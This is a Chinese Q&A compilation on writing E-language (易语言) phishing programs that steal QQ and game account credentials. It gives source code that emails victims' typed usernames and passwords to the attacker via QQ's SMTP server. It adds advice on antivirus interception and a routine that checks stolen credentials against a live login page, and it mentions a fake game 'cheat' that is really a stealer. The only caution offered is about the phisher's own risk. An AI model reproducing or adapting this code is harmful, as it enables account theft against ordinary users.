本文目录一览:
- 1、求一个易语言钓鱼盗号源码
- 2、易语言钓鱼源码
- 3、请问易语言盗号源码怎么修改
求一个易语言钓鱼盗号源码
.版本
2
.支持库
internet
.子程序
_按钮1_被单击
连接发信服务器
(“ *** tp.qq.com”,
,
“用户名”,
“密码”,
)
发送邮件
(“盗号”,
“帐号:”
+
编辑框1.内容
+
“密码:”
+
编辑框2.内容,
“ *** 邮箱地址”,
“ *** 邮箱地址”,
“ *** 邮箱地址”,
“ *** 邮箱地址”,
“ *** 邮箱地址”)
易语言钓鱼源码
嗯嗯,改的设置对着呢。
但是你貌似没有填端口号,TX的应该是25,因为我填的是25……能发出去
可以这么写:
连接发信服务器 (“ *** tp.qq.com”, 25, 用户名, 密码)
发送邮件 (“号来了!”, “账号:” + 编辑框2.内容 + #换行符 + “密码:” + 编辑框2.内容, “*@qq.com”, , ,“*@qq.com”,)
但是,发送的时候360会拦截下来。这个你得注意下,其实你家机子要是固定IP的话,可以做个服务器。还有就是你这个验证根本不行,我账号填个1,密码填个1,那岂不就完事了,还能登上去,你又来一个垃圾。可以加个验证。
'------------------------验证源码
.版本 2
登录网页 = 网页源码编码转换 (温暖HTTP读文件 (“;auto=1s_it=1g_f=286sid=”))
' 温暖HTTP读文件 (“;auto=1s_it=1g_f=286sid=”))
产生sid = 取文本之间内容 (登录网页, “sid=”, “”)
登录返回文本 = 进行POST (寻找POST参数 (登录网页, “马上登录”), _启动窗口.编辑框1.内容, _启动窗口.编辑框2.内容)
.判断开始 (寻找文本 (登录返回文本, “登录密码错误”, , 假) > 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录失败,可能系统繁忙,请稍后重试”, , 假) > 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您填写的帐号或密码不正确,请重新输入”, , 假) > 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您输入的帐号不存在”, , 假) > 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录成功”, , 假) > 0)
登录成功网页 = 登录返回文本
sid = 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “请输入验证码”, , 假) > 0)
验证码图片地址 = 取文本之间内容 (登录返回文本, “img src=” + #引号, #引号)
延时 (1000)
验证码反馈.调用反馈事件 (, , )
.如果 (全局验证码内容 = “”)
_启动窗口.可视 = 真
.否则
输入验证码返回文本 = 进行POST (寻找POST参数 (登录返回文本, “马上登录”), , , 全局验证码内容)
.判断开始 (寻找文本 (输入验证码返回文本, “登录成功”, , 假) > 0)
登录成功网页 = 输入验证码返回文本
sid = 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.默认
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
' -----------------接下来不是源码了
这里还要用到一个温暖HTTP应用模块,我给你传上来吧。
我自己写了个不带验证的奥拉星“外挂”,你可以看看,嘻嘻……(其实还是盗号的,只是不发送过来)
请问易语言盗号源码怎么修改
您好,根据您的源码截图,这源码并非盗号源码而是单纯的钓鱼源码,发送邮件,您可以看一下帮助提示。
不推荐您 *** 这种类型源码,当您编译成EXE程序的时候,遇到一些技术人员可以使用ollydebug,进行反编译破解,或者POST封包拦截,进行解密即可获取您的账号密码,让您造成不必要的损失。
-----
连接发信服务器 (“发信邮件的服务器地址, *** TP”, “端口号,通常发信服务器的端口号为:25”, “邮件用户名”, “邮件用户密码”, )
发送邮件 (“邮件标题”, “邮件正文”, “填写收信人邮箱”, “可忽略”, “可忽略”, “填写您的发信邮箱即可”, “可忽略”)
----